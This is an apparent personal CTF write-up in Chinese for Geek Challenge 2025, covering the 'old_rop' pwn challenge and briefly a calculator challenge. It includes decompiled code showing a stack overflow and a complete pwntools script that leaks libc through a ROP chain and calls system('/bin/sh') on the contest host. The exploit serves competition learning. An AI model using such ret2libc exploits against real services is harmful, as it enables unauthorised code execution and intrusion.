workspace/categories/WP/

WP

  • Geek Challenge 2025 WP

    这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写，写的烂，就当参考吧，可能有很多地方不严谨或有误 还请各位大佬指教

    PWN

    old_rop

    解题流程

    查保护

    alt text
    查伪代码

    __int64 __fastcall main(int a1, char **a2, char **a3)
{
  _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF

  write(1, "Hello, World\n", 0xDuLL);
  strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
  write(1, buf, 0x4DuLL);
  write(1, "\n", 1uLL);
  sub_401156(1LL);
  return 0LL;
}

    ssize_t sub_401156()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

    在sub_401156有一个明显栈溢出，没有后门函数，打libc，得先泄露libc基址，用write打印即可，但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些，然后正常写rop链即可

    exp

    from pwn import *
# io = process('./pwn')
io = remote('geek.ctfplus.cn',32696)
libc = ELF("./libc/libc.so.6")  
elf = ELF("./pwnt") 

write_got = elf.got['write']
write_plt = elf.plt['write']

pop_rdi = 0x00000000004012d3
ret_addr = 0x000000000040101a 
read_addr = 0x0000000000401156
pop_rsi_r15 = 0x00000000004012d1

line = io.recvline()
print(line)
line = io.recvline()
print(line)

payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr)
io.sendline(payleak)

leaked_data = io.recv(0x200)
write_addr = u64(leaked_data[0:8])
print(f"Leaked write address: {hex(write_addr)}")
libc_base = write_addr - libc.symbols['write']
print(f"Libc base: {hex(libc_base)}")

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
print("system:",hex(system_addr))
print("binsh:",hex(binsh_addr))

payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline (payload)

io.interactive()

    Mission Calculator

    解题流程

    这题不用查保护，就是一个单纯的计算题，直接写一个for全算出来发回去就行

Terminal

C0nvR3 Lab terminal ready. Type help for commands.